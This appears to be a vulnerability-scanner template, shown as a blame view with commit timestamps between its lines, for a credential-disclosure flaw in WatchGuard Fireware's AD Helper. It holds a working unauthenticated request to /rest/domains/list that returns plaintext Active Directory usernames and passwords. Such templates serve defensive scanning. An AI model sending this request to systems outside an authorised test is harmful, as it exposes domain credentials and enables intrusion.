2021-12-09 15:35:13 +00:00
id : watchguard-credentials-disclosure
2021-12-09 07:02:48 +00:00
info :
name : WatchGuard Fireware AD Helper Component - Credentials Disclosure
author : gy741
severity : critical
2022-04-22 10:38:41 +00:00
description : A credential-disclosure vulnerability in the AD Helper component of the WatchGuard Fireware Threat Detection and Response (TDR) service, which allows unauthenticated attackers to gain Active Directory
credentials for a Windows domain in plaintext.
2021-12-09 15:35:13 +00:00
reference :
- https://www.exploit-db.com/exploits/48203
- https://www.watchguard.com/wgrd-blog/tdr-ad-helper-credential-disclosure-vulnerability
tags : watchguard,disclosure
2021-12-09 07:02:48 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc"
2021-12-09 15:35:13 +00:00
matchers-condition : and
2021-12-09 07:02:48 +00:00
matchers :
- type : word
2021-12-09 15:35:13 +00:00
part : body
2021-12-09 07:02:48 +00:00
words :
2021-12-09 15:35:13 +00:00
- '"fullyQualifiedName"'
- '"logonDomain"'
- '"username"'
- '"password"'
2021-12-09 07:02:48 +00:00
condition : and
2021-12-09 15:35:13 +00:00
- type : status
status :
- 200
